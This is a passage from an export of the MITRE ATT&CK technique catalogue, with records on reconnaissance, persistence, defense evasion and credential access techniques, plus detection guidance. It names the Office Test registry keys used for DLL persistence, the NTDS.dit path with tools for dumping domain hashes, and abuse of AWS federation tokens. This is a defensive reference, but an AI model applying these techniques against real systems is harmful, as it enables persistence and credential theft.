"source_name": "Microsoft msxsl.exe",
"url": "https://www.microsoft.com/download/details.aspx?id=21714"
},
{
"description": "netbiosX. (2017, July 6). AppLocker Bypass – MSXSL. Retrieved July 3, 2018.",
"external_id": null,
"source_name": "Penetration Testing Lab MSXSL July 2017",
"url": "https://pentestlab.blog/2017/07/06/applocker-bypass-msxsl/"
},
{
"description": "Singh, A. (2019, March 14). MSXSL.EXE and WMIC.EXE — A Way to Proxy Code Execution. Retrieved August 2, 2019.",
"external_id": null,
"source_name": "XSL Bypass Mar 2019",
"url": "https://medium.com/@threathuntingteam/msxsl-exe-and-wmic-exe-a-way-to-proxy-code-execution-8d524f642b75"
},
{
"description": "Wenzel, M. et al. (2017, March 30). XSLT Stylesheet Scripting Using <msxsl:script>. Retrieved July 3, 2018.",
"external_id": null,
"source_name": "Microsoft XSLT Script Mar 2017",
"url": "https://docs.microsoft.com/dotnet/standard/data/xml/xslt-stylesheet-scripting-using-msxsl-script"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Use process monitoring to monitor the execution and arguments of msxsl.exe and wmic.exe. Compare recent invocations of these utilities with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity (ex: URL command line arguments, creation of external network connections, loading of DLLs associated with scripting). (Citation: LOLBAS Wmic) (Citation: Twitter SquiblyTwo Detection APR 2018) Command arguments used before and after the script invocation may also be useful in determining the origin and purpose of the payload being loaded.
The presence of msxsl.exe or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious. | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows"
] | 1.2 |
attack-pattern | attack-pattern--ec4be82f-940c-4dcb-87fe-2bbdd17c692f | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-10-02T17:00:44.586000Z" | "2021-04-15T03:49:49.260000Z" | Scan Databases | Adversaries may search within public scan databases for information about victims that can be used during targeting. Various online services continuously publish the results of Internet scans/surveys, often harvesting information such as active IP addresses, hostnames, open ports, certificates, and even server banners.(Citation: Shodan)
Adversaries may search scan databases to gather actionable information. Threat actors can use online resources and lookup tools to harvest information from these services. Adversaries may seek information about their already identified targets, or use these datasets to discover opportunities for successful breaches. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)). | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "reconnaissance"
}
] | false | [
{
"description": null,
"external_id": "T1596.005",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1596/005"
},
{
"description": "Shodan. (n.d.). Shodan. Retrieved October 20, 2020.",
"external_id": null,
"source_name": "Shodan",
"url": "https://shodan.io"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.
Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"PRE"
] | 1.0 |
attack-pattern | attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-02-26T17:46:13.128000Z" | "2020-03-29T22:32:25.985000Z" | Hidden Files and Directories | Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (<code>dir /a</code> for Windows and <code>ls –a</code> for Linux and macOS).
On Linux and Mac, users can mark specific files as hidden simply by putting a “.” as the first character in the file or folder name (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folders that start with a period, ‘.’, are by default hidden from being viewed in the Finder application and standard command-line utilities like “ls”. Users must specifically change settings to have these files viewable.
Files on macOS can also be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker). On Windows, users can mark specific files as hidden by using the attrib.exe binary. Many applications create these hidden files and folders to store information so that it doesn’t clutter up the user’s workspace. For example, SSH utilities create a .ssh folder that’s hidden and contains the user’s known hosts and keys.
Adversaries can use this to their advantage to hide files and folders anywhere on the system and evading a typical user or system analysis that does not incorporate investigation of hidden files. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
] | false | [
{
"description": null,
"external_id": "T1564.001",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1564/001"
},
{
"description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.",
"external_id": null,
"source_name": "Sofacy Komplex Trojan",
"url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/"
},
{
"description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.",
"external_id": null,
"source_name": "Antiquated Mac Malware",
"url": "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/"
},
{
"description": "Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware. Retrieved July 10, 2017.",
"external_id": null,
"source_name": "WireLurker",
"url": "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor the file system and shell commands for files being created with a leading "." and the Windows command-line use of attrib.exe to add the hidden attribute. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows",
"macOS",
"Linux"
] | 1.0 |
attack-pattern | attack-pattern--ed2e45f9-d338-4eb2-8ce5-3a2e03323bc1 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-06-09T15:33:13.563000Z" | "2021-03-08T10:33:02.060000Z" | Create Snapshot | An adversary may create a snapshot or data backup within a cloud account to evade defenses. A snapshot is a point-in-time copy of an existing cloud compute component such as a virtual machine (VM), virtual hard drive, or volume. An adversary may leverage permissions to create a snapshot in order to bypass restrictions that prevent access to existing compute service infrastructure, unlike in [Revert Cloud Instance](https://attack.mitre.org/techniques/T1578/004) where an adversary may revert to a snapshot to evade detection and remove evidence of their presence.
An adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002), mount one or more created snapshots to that instance, and then apply a policy that allows the adversary access to the created instance, such as a firewall policy that allows them inbound and outbound SSH access.(Citation: Mandiant M-Trends 2020) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
] | false | [
{
"description": null,
"external_id": "T1578.001",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1578/001"
},
{
"description": "Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020.",
"external_id": null,
"source_name": "Mandiant M-Trends 2020",
"url": "https://content.fireeye.com/m-trends/rpt-m-trends-2020"
},
{
"description": "Amazon. (2020). Logging AWS Backup API Calls with AWS CloudTrail. Retrieved April 27, 2020.",
"external_id": null,
"source_name": "AWS Cloud Trail Backup API",
"url": "https://docs.aws.amazon.com/aws-backup/latest/devguide/logging-using-cloudtrail.html"
},
{
"description": "Microsoft. (2019, June 4). Monitor at scale by using Azure Monitor. Retrieved May 1, 2020.",
"external_id": null,
"source_name": "Azure - Monitor Logs",
"url": "https://docs.microsoft.com/en-us/azure/backup/backup-azure-monitoring-use-azuremonitor"
},
{
"description": "Google. (n.d.). Audit Logs. Retrieved June 1, 2020.",
"external_id": null,
"source_name": "Cloud Audit Logs",
"url": "https://cloud.google.com/logging/docs/audit#admin-activity"
},
{
"description": "Google. (2020, April 23). Creating and Starting a VM instance. Retrieved May 1, 2020.",
"external_id": null,
"source_name": "GCP - Creating and Starting a VM",
"url": "https://cloud.google.com/compute/docs/instances/create-start-instance#api_2"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | The creation of a snapshot is a common part of operations within many cloud environments. Events should then not be viewed in isolation, but as part of a chain of behavior that could lead to other activities such as the creation of one or more snapshots and the restoration of these snapshots by a new user account.
In AWS, CloudTrail logs capture the creation of snapshots and all API calls for AWS Backup as events. Using the information collected by CloudTrail, you can determine the request that was made, the IP address from which the request was made, which user made the request, when it was made, and additional details.(Citation: AWS Cloud Trail Backup API).
In Azure, the creation of a snapshot may be captured in Azure activity logs. Backup restoration events can also be detected through Azure Monitor Log Data by creating a custom alert for completed restore jobs.(Citation: Azure - Monitor Logs)
Google's Admin Activity audit logs within their Cloud Audit logs can be used to detect the usage of the <code>gcloud compute instances create</code> command to create a new VM disk from a snapshot.(Citation: Cloud Audit Logs) It is also possible to detect the usage of the GCP API with the <code>"sourceSnapshot":</code> parameter pointed to <code>"global/snapshots/[BOOT_SNAPSHOT_NAME]</code>.(Citation: GCP - Creating and Starting a VM) | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"IaaS"
] | 1.1 |
attack-pattern | attack-pattern--ed730f20-0e44-48b9-85f8-0e2adeb76867 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-10-02T16:32:33.126000Z" | "2021-08-27T15:37:09.025000Z" | Determine Physical Locations | Adversaries may gather the victim's physical location(s) that can be used during targeting. Information about physical locations of a target organization may include a variety of details, including where key resources and infrastructure are housed. Physical locations may also indicate what legal jurisdiction and/or authorities the victim operates within.
Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Physical locations of a target organization may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594) or [Social Media](https://attack.mitre.org/techniques/T1593/001)).(Citation: ThreatPost Broadvoice Leak)(Citation: SEC EDGAR Search) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Hardware Additions](https://attack.mitre.org/techniques/T1200)). | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "reconnaissance"
}
] | false | [
{
"description": null,
"external_id": "T1591.001",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1591/001"
},
{
"description": "Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records, Personal Voicemail Transcripts. Retrieved October 20, 2020.",
"external_id": null,
"source_name": "ThreatPost Broadvoice Leak",
"url": "https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/"
},
{
"description": "U.S. SEC. (n.d.). EDGAR - Search and Access. Retrieved August 27, 2021.",
"external_id": null,
"source_name": "SEC EDGAR Search",
"url": "https://www.sec.gov/edgar/search-and-access"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.
Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"PRE"
] | 1.1 |
attack-pattern | attack-pattern--ed7efd4d-ce28-4a19-a8e6-c58011eb2c7a | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2019-11-07T19:44:04.475000Z" | "2024-04-16T12:41:55.175000Z" | Office Test | Adversaries may abuse the Microsoft Office "Office Test" Registry key to obtain persistence on a compromised system. An Office Test Registry location exists that allows a user to specify an arbitrary DLL that will be executed every time an Office application is started. This Registry key is thought to be used by Microsoft to load DLLs for testing and debugging purposes while developing Office applications. This Registry key is not created by default during an Office installation.(Citation: Hexacorn Office Test)(Citation: Palo Alto Office Test Sofacy)
There exist user and global Registry keys for the Office Test feature, such as:
* <code>HKEY_CURRENT_USER\Software\Microsoft\Office test\Special\Perf</code>
* <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Office test\Special\Perf</code>
Adversaries may add this Registry key and specify a malicious DLL that will be executed whenever an Office application, such as Word or Excel, is started. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
}
] | false | [
{
"description": null,
"external_id": "T1137.002",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1137/002"
},
{
"description": "Falcone, R. (2016, July 20). Technical Walkthrough: Office Test Persistence Method Used In Recent Sofacy Attacks. Retrieved July 3, 2017.",
"external_id": null,
"source_name": "Palo Alto Office Test Sofacy",
"url": "https://researchcenter.paloaltonetworks.com/2016/07/unit42-technical-walkthrough-office-test-persistence-method-used-in-recent-sofacy-attacks/"
},
{
"description": "Hexacorn. (2014, April 16). Beyond good ol’ Run key, Part 10. Retrieved July 3, 2017.",
"external_id": null,
"source_name": "Hexacorn Office Test",
"url": "http://www.hexacorn.com/blog/2014/04/16/beyond-good-ol-run-key-part-10/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor for the creation of the Office Test Registry key. Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence. Since v13.52, Autoruns can detect tasks set up using the Office Test Registry key.(Citation: Palo Alto Office Test Sofacy)
Consider monitoring Office processes for anomalous DLL loads. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows",
"Office 365"
] | 1.2 |
attack-pattern | attack-pattern--edadea33-549c-4ed1-9783-8f5a5853cbdf | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-10-01T01:30:00.877000Z" | "2021-10-17T16:07:08.768000Z" | Develop Capabilities | Adversaries may build capabilities that can be used during targeting. Rather than purchasing, freely downloading, or stealing capabilities, adversaries may develop their own capabilities in-house. This is the process of identifying development requirements and building solutions such as malware, exploits, and self-signed certificates. Adversaries may develop capabilities to support their operations throughout numerous phases of the adversary lifecycle.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Citation: Bitdefender StrongPity June 2020)(Citation: Talos Promethium June 2020)
As with legitimate development efforts, different skill sets may be required for developing capabilities. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the capability. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "resource-development"
}
] | false | [
{
"description": null,
"external_id": "T1587",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1587"
},
{
"description": "Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.",
"external_id": null,
"source_name": "Mandiant APT1",
"url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
},
{
"description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.",
"external_id": null,
"source_name": "Kaspersky Sofacy",
"url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/"
},
{
"description": "Tudorica, R. et al. (2020, June 30). StrongPity APT - Revealing Trojanized Tools, Working Hours and Infrastructure. Retrieved July 20, 2020.",
"external_id": null,
"source_name": "Bitdefender StrongPity June 2020",
"url": "https://www.bitdefender.com/files/News/CaseStudies/study/353/Bitdefender-Whitepaper-StrongPity-APT.pdf"
},
{
"description": "Mercer, W. et al. (2020, June 29). PROMETHIUM extends global reach with StrongPity3 APT. Retrieved July 20, 2020.",
"external_id": null,
"source_name": "Talos Promethium June 2020",
"url": "https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html"
},
{
"description": "Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020.",
"external_id": null,
"source_name": "Splunk Kovar Certificates 2017",
"url": "https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Consider analyzing malware for features that may be associated with the adversary and/or their developers, such as compiler used, debugging artifacts, or code similarities. Malware repositories can also be used to identify additional samples associated with the adversary and identify development patterns over time.
Consider use of services that may aid in the tracking of certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017)
Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control. | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"PRE"
] | 1.1 |
attack-pattern | attack-pattern--edf91964-b26e-4b4a-9600-ccacd7d7df24 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-02-11T18:42:35.572000Z" | "2023-07-28T14:41:38.908000Z" | NTDS | Adversaries may attempt to access or create a copy of the Active Directory domain database in order to steal credential information, as well as obtain other information about domain members such as devices, users, and access rights. By default, the NTDS file (NTDS.dit) is located in <code>%SystemRoot%\NTDS\Ntds.dit</code> of a domain controller.(Citation: Wikipedia Active Directory)
In addition to looking for NTDS files on active Domain Controllers, adversaries may search for backups that contain the same or similar information.(Citation: Metcalf 2015)
The following tools and techniques can be used to enumerate the NTDS file and the contents of the entire Active Directory hashes.
* Volume Shadow Copy
* secretsdump.py
* Using the in-built Windows tool, ntdsutil.exe
* Invoke-NinjaCopy
| [
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
}
] | false | [
{
"description": null,
"external_id": "T1003.003",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1003/003"
},
{
"description": "Metcalf, S. (2015, January 19). Attackers Can Now Use Mimikatz to Implant Skeleton Key on Domain Controllers & BackDoor Your Active Directory Forest. Retrieved February 3, 2015.",
"external_id": null,
"source_name": "Metcalf 2015",
"url": "http://adsecurity.org/?p=1275"
},
{
"description": "Wikipedia. (2018, March 10). Active Directory. Retrieved April 11, 2018.",
"external_id": null,
"source_name": "Wikipedia Active Directory",
"url": "https://en.wikipedia.org/wiki/Active_Directory"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor processes and command-line arguments for program execution that may be indicative of credential dumping, especially attempts to access or copy the NTDS.dit. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows"
] | 1.2 |
attack-pattern | attack-pattern--ee7ff928-801c-4f34-8a99-3df965e581a5 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-10-19T23:51:05.953000Z" | "2020-10-22T01:54:22.812000Z" | SNMP (MIB Dump) | Adversaries may target the Management Information Base (MIB) to collect and/or mine valuable information in a network managed using Simple Network Management Protocol (SNMP).
The MIB is a configuration repository that stores variable information accessible via SNMP in the form of object identifiers (OID). Each OID identifies a variable that can be read or set and permits active management tasks, such as configuration changes, through remote modification of these variables. SNMP can give administrators great insight in their systems, such as, system information, description of hardware, physical location, and software packages(Citation: SANS Information Security Reading Room Securing SNMP Securing SNMP). The MIB may also contain device operational information, including running configuration, routing table, and interface details.
Adversaries may use SNMP queries to collect MIB content directly from SNMP-managed devices in order to collect network information that allows the adversary to build network maps and facilitate future targeted exploitation.(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "collection"
}
] | false | [
{
"description": null,
"external_id": "T1602.001",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1602/001"
},
{
"description": "Michael Stump. (2003). Information Security Reading Room Securing SNMP: A Look atNet-SNMP (SNMPv3). Retrieved October 19, 2020.",
"external_id": null,
"source_name": "SANS Information Security Reading Room Securing SNMP Securing SNMP",
"url": "https://www.sans.org/reading-room/whitepapers/networkdevs/securing-snmp-net-snmp-snmpv3-1051"
},
{
"description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.",
"external_id": null,
"source_name": "US-CERT-TA18-106A",
"url": "https://www.us-cert.gov/ncas/alerts/TA18-106A"
},
{
"description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.",
"external_id": null,
"source_name": "Cisco Blog Legacy Device Attacks",
"url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954"
},
{
"description": "Cisco. (2008, June 10). Identifying and Mitigating Exploitation of the SNMP Version 3 Authentication Vulnerabilities. Retrieved October 19, 2020.",
"external_id": null,
"source_name": "Cisco Advisory SNMP v3 Authentication Vulnerabilities",
"url": "https://tools.cisco.com/security/center/content/CiscoAppliedMitigationBulletin/cisco-amb-20080610-SNMPv3"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Identify network traffic sent or received by untrusted hosts or networks that expose MIB content or use unauthorized protocols.(Citation: Cisco Advisory SNMP v3 Authentication Vulnerabilities) | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Network"
] | 1.0 |
attack-pattern | attack-pattern--eec23884-3fa1-4d8a-ac50-6f104d51e235 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-03-15T00:37:58.963000Z" | "2020-03-15T00:37:58.963000Z" | Steganography | Adversaries may use steganographic techniques to hide command and control traffic to make detection efforts more difficult. Steganographic techniques can be used to hide data in digital messages that are transferred between systems. This hidden information can be used for command and control of compromised systems. In some cases, the passing of files embedded using steganography, such as image or document files, can be used for command and control. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "command-and-control"
}
] | false | [
{
"description": null,
"external_id": "T1001.002",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1001/002"
},
{
"description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
"external_id": null,
"source_name": "University of Birmingham C2",
"url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2) | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"macOS",
"Windows"
] | 1.0 |
attack-pattern | attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-03-11T14:43:31.706000Z" | "2020-03-11T14:43:31.706000Z" | Malicious Link | An adversary may rely upon a user clicking a malicious link in order to gain execution. Users may be subjected to social engineering to get them to click on a link that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002). Clicking on a link may also lead to other execution techniques such as exploitation of a browser or application vulnerability via [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203). Links may also lead users to download files that require execution via [Malicious File](https://attack.mitre.org/techniques/T1204/002). | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "execution"
}
] | false | [
{
"description": null,
"external_id": "T1204.001",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1204/001"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Inspect network traffic for indications that a user visited a malicious site, such as links included in phishing campaigns directed at your organization.
Anti-virus can potentially detect malicious documents and files that are downloaded from a link and executed on the user's computer. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"macOS",
"Windows"
] | 1.0 |
attack-pattern | attack-pattern--f005e783-57d4-4837-88ad-dbe7faee1c51 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-01-30T17:37:22.261000Z" | "2024-04-28T15:43:18.080000Z" | Application Access Token | Adversaries may use stolen application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users or services and used in lieu of login credentials.
Application access tokens are used to make authorized API requests on behalf of a user or service and are commonly used to access resources in cloud, container-based applications, and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019)
OAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.(Citation: okta)
For example, with a cloud-based email service, once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a "refresh" token enabling background access is awarded.(Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017)
Compromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim’s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. In AWS and GCP environments, adversaries can trigger a request for a short-lived access token with the privileges of another user account.(Citation: Google Cloud Service Account Credentials)(Citation: AWS Temporary Security Credentials) The adversary can then use this token to request data or perform actions the original account could not. If permissions for this feature are misconfigured – for example, by allowing all users to request a token for a particular account - an adversary may be able to gain initial access to a Cloud Account or escalate their privileges.(Citation: Rhino Security Labs Enumerating AWS Roles)
Direct API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. For example, in AWS environments, an adversary who compromises a user’s AWS API credentials may be able to use the `sts:GetFederationToken` API call to create a federated user session, which will have the same permissions as the original user but may persist even if the original user credentials are deactivated.(Citation: Crowdstrike AWS User Federation Persistence) Additionally, access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "lateral-movement"
}
] | false | [
{
"description": null,
"external_id": "T1550.001",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1550/001"
},
{
"description": " Vaishnav Murthy and Joel Eng. (2023, January 30). How Adversaries Can Persist with AWS User Federation. Retrieved March 10, 2023.",
"external_id": null,
"source_name": "Crowdstrike AWS User Federation Persistence",
"url": "https://www.crowdstrike.com/blog/how-adversaries-persist-with-aws-user-federation/"
},
{
"description": "Auth0. (n.d.). Why You Should Always Use Access Tokens to Secure APIs. Retrieved September 12, 2019.",
"external_id": null,
"source_name": "Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019",
"url": "https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/"
},
{
"description": "AWS. (n.d.). Logging IAM and AWS STS API calls with AWS CloudTrail. Retrieved April 1, 2022.",
"external_id": null,
"source_name": "AWS Logging IAM Calls",
"url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/cloudtrail-integration.html"
},
{
"description": "AWS. (n.d.). Requesting temporary security credentials. Retrieved April 1, 2022.",
"external_id": null,
"source_name": "AWS Temporary Security Credentials",
"url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp_request.html"
},
{
"description": "Cai, S., Flores, J., de Guzman, C., et. al.. (2019, August 27). Microsoft identity platform access tokens. Retrieved October 4, 2019.",
"external_id": null,
"source_name": "Microsoft Identity Platform Access 2019",
"url": "https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens"
},
{
"description": "Google Cloud. (2022, March 31). Creating short-lived service account credentials. Retrieved April 1, 2022.",
"external_id": null,
"source_name": "Google Cloud Service Account Credentials",
"url": "https://cloud.google.com/iam/docs/creating-short-lived-service-account-credentials"
},
{
"description": "Google Cloud. (2022, March 31). Monitor usage patterns for service accounts and keys . Retrieved April 1, 2022.",
"external_id": null,
"source_name": "GCP Monitoring Service Account Usage",
"url": "https://cloud.google.com/iam/docs/service-account-monitoring"
},
{
"description": "okta. (n.d.). What Happens If Your JWT Is Stolen?. Retrieved September 12, 2019.",
"external_id": null,
"source_name": "okta",
"url": "https://developer.okta.com/blog/2018/06/20/what-happens-if-your-jwt-is-stolen"
},
{
"description": "Spencer Gietzen. (2018, August 8). Assume the Worst: Enumerating AWS Roles through ‘AssumeRole’. Retrieved April 1, 2022.",
"external_id": null,
"source_name": "Rhino Security Labs Enumerating AWS Roles",
"url": "https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration"
},
{
"description": "Stalmans, E.. (2017, August 2). Phishing with OAuth and o365/Azure. Retrieved October 4, 2019.",
"external_id": null,
"source_name": "Staaldraad Phishing with OAuth 2017",
"url": "https://staaldraad.github.io/2017/08/02/o356-phishing-with-oauth/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
